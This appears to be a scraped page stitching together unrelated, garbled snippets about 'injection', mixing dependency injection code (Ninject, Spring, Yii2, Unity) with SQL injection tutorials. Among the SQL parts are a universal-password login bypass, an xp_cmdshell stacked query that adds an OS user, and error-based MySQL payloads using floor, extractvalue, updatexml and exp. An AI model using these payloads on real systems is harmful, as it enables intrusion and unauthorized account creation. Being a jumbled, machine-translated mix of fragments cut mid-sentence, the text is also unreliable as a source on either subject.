cpi injection

The result of the three steps I showed you on the previous section are that the knowledge about the implementation class th At should is instantiated to fulfill requests for the Ivaluecalculator interface have been set up in Ninject.The result is three steps, and the previous section uses Ninject to instantiate the Ivaluecalculator interfaceOf course, I has not improved my application because that knowledge remains defined in the Home controller, meaning that The Home controller is a still tight

;}public void Setpro (Properties Pro) {This.pro = Pro;}public static void Main (string[] args) {ApplicationContext context = new Classpathxmlapplicationcontext ("Beans.xml");Useraction u1 = (useraction) context.getbean ("Useraction");System.out.println (u1.str+ "=====" +u1.strlist);System.out.println (u1.strmap+ "= = =" +u1.pro);U1.add ();}}Public interface Userdao {public void Add ();}public class Userdaoimpl implements userdao{@Overridepublic void Add () {System.out.println ("=========userdao=

"); System.out.println (people1); People people2= (people) Ac.getbean ("People2"); System.out.println (people2); People people3= (people) Ac.getbean ("People3"); System.out.println (PEOPLE3); People people4= (people) Ac.getbean ("People4"); System.out.println (PEOPLE4); }}Inject static and non-static classespublic class Factory {public people createpeople () { people P=new people (); P.setid (5); P.setname ("smal

user_id= ' admin ' and password= ' 2 '] and [' 1 '], A logical OR operation of two bool values, constant true. The query result of the SQL statement is true, which means that authentication is successful and can be logged into the system."Experimental Steps"First, the use of universal password injection1.1 Select a forum with vulnerabilities650) this.width=650; "src=" Http://s3.51cto.com/wyfs02/M01/77/C2/wKiom1ZtnF_w5FEAAAB8msg79nE492.png "style=" float: none; "title=" 11.png "alt=" Wkiom1ztnf_

This gives unscrupulous students the opportunity to input some strange query strings and splice them into specific SQL statements to inject them. Not only can important information of the database be obtained, but the entire table can be deleted even if the permissions are not set. Therefore, the SQL injection vulnerability is quite serious. I found that when I was just learning to write a website, I also rely on splicing SQL statements to eat ......

/// /// Base class for accessing the page/// By Jia Shiyi 2011-8-28/// Public class basewww: Page{# Region variables and fields/// /// Replace page. Request. querystring/// Protected namevaluecollection querystring; /// /// Overload onload exclusion injection code and Processing/// /// Protected override void onload (eventargs E){Querystring = new namevaluecollection ();// Exclude the injection codeFor (INT

; Property> Bean> BeanID= "Userutil"class= "Cn.com.xf.UserUtil"> Constructor-argref= "User">Constructor-arg> Bean>Beans>Above, I was not the same as the previous one, did not use the P tag, but the effect is the same, note Package Cn.com.xf;import Org.springframework.context.configurableapplicationcontext;import Org.springframework.context.support.classpathxmlapplicationcontext;public class Test {public static void main ( String[] args) { configurableapplicationcontext

Including the implementation and application of SQL injection, which I wrote, is also an example of this, since no filtering is encountered, so it is fairly easy to inject success, as follows: Copy Code code as follows: Http://www.jb51.net/show.asp?id=1;exec master.dbo.xp_cmdshell ' net user Angel Pass/add ';-- This often leads to misunderstanding, that as long as the variable filtered ' can prevent SQL

This is the same as LESS20, the only difference is that the parentheses are added and the cookie is encoded using the Base64 (because the Base64_decode decoding function is used)The admin was encoded as ywrtaw4= but the SQL statements executed did not changeAdd single quote encoding, and then modify the cookieThen take the LESS20 code and make a code with base64."Sqli-labs" Less21 cookie Injection-error based-complex-string (complex character-based co

~ All to check user () For example ~1.floor ()id = 1 and (select 1 from (SELECT COUNT (*), concat (version (), Floor (rand (0))) x from Information_schema.tables Group by X A2.extractvalue ()id = 1 and (Extractvalue (1, concat (0x5c, (select User ()))))3.updatexml ()id = 1 and (Updatexml (0x3a,concat (1, (select User ())), 1))4.exp ()ID =1 and EXP (~ (SELECT * FROM (select User ()) a))5. There are six kinds of functions (but in general can be categorized as a category)GeometryCollection ()id = 1

1) The construction injection can determine the injection order of dependency in the re-constructor, and the limited-dependent priority injection. For example, the injection of other dependencies in a component often requires a dependency on datasource injection. With constr

The same as yesterday, my website and I gave the teacher to do a single chip computer site has been black. In my website inexplicably more than one article, there are more than a set of maps. Is wondering who can log in my backstage post and pictures, my QQ pop-up message, a stranger to me to send a message, said that my site has loopholes, but also said he got my website. But fortunately, he gave me the details of the black My Site method, but also reminded me to repair and repair, or else it w

I hope it will be useful to you. For more information, see the article fromKnife guest blogThis article reads the Mysql5 Injection Technique article and explains the code ..Mysql> use information_schema;Database changedMysql> show tables;+ --------------------------------------- +| Tables_in_information_schema |+ --------------------------------------- +| CHARACTER_SETS || COLLATIONS || COLLATION_CHARACTER_SET_APPLICABILITY || COLUMNS || COLUMN_PRIVIL

Understanding Dependency InjectionYii2.0 uses the idea of dependency injection. It is using this mode that makes YII2 exceptionally flexible and powerful. Do not think this is a very iffy thing, read the following two examples to understand.classsessionstorage{function__construct ($cookieName= ' php_sess_id ') { Session_name($cookieName); Session_Start(); } functionSet$key,$value) { $_session[$key] =$value; } functionGet$key) { return $_

Before learning yii2, I already knew the term "dependency injection" and tried to understand it. However, it was always in the fog, and it may have never been possible to actually use it, so I don't know much about it. this time I learned yii2, and I will handle this so-called "high school !!! Haha, before learning yii2, he already knew the term "dependency injection" and tried to understand it. However, it

Oracle SQL injection is an old security issue. Generally, enterprise applications only focus on Java-level writing specifications, such as preparedStatement, or directly filter out dangerous characters. In fact, when compiling PL/SQL functions or procedure, there are also injection problems. Let's discuss it briefly. For example, a procedure function is used to disable the constraint of a table: SQL code Cr

Unity is a dependency injection container, and natural dependency injection is its most important function. From previous discussions, contradictions have focused on unity's intrusion into the object of dependence, which may be the unity in the preview version of the document did not say, plus a foreign cow of an article caused by the consequences. Because Unity can also support non-invasive dependency